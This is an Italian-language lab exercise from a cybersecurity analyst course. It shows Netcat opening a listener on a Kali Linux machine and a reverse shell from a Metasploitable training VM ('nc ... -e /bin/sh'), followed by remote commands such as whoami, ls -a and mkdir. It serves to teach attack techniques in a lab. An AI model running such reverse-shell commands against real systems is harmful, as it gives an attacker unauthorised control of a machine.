

# Cybersecurity Analyst

Week 9 - W9D1 Pratica 1

# Tools di Kali Linux Netcat

## Esercizio

Esecuzione di comandi da terminale da macchina attaccante (Kali Linux) a macchina vittima (Metasploitable) tramite creazione di un server in listening e di un client mediante tool **Netcat**.

Creazione server **in ascolto** su macchina attaccante Kali Linux (192.168.50.100) su porta **1234**.

```
(kali㉿kali)-[~]  
$ nc -l -p 1234
```

Da macchina vittima Metasploitable, connessione al server appena creato ed esecuzione shell.

```
msfadmin@metasploitable:~$ nc 192.168.50.100 1234 -e /bin/sh
```

Esecuzione comandi da Kali Linux a Metasploitable

```
whoami  
msfadmin  
uname  
Linux  
ps  
  PID TTY          TIME CMD  
 4673 tty1        00:00:00 bash  
 4684 tty1        00:00:00 sh  
 4689 tty1        00:00:00 ps
```

## Esecuzione comandi da Kali Linux a Metasploitable

```
ls
vulnerable
ls -a
.
..
.bash_history
.distcc
.mysql_history
.profile
.rhosts
.ssh
.sudo_as_admin_successful
vulnerable
pwd
/home/msfadmin
mkdir nuova_cartella
```

## Verifica creazione cartella su Metasploitable

```
msfadmin@metasploitable:~$ ls
nuova_cartella  vulnerable
```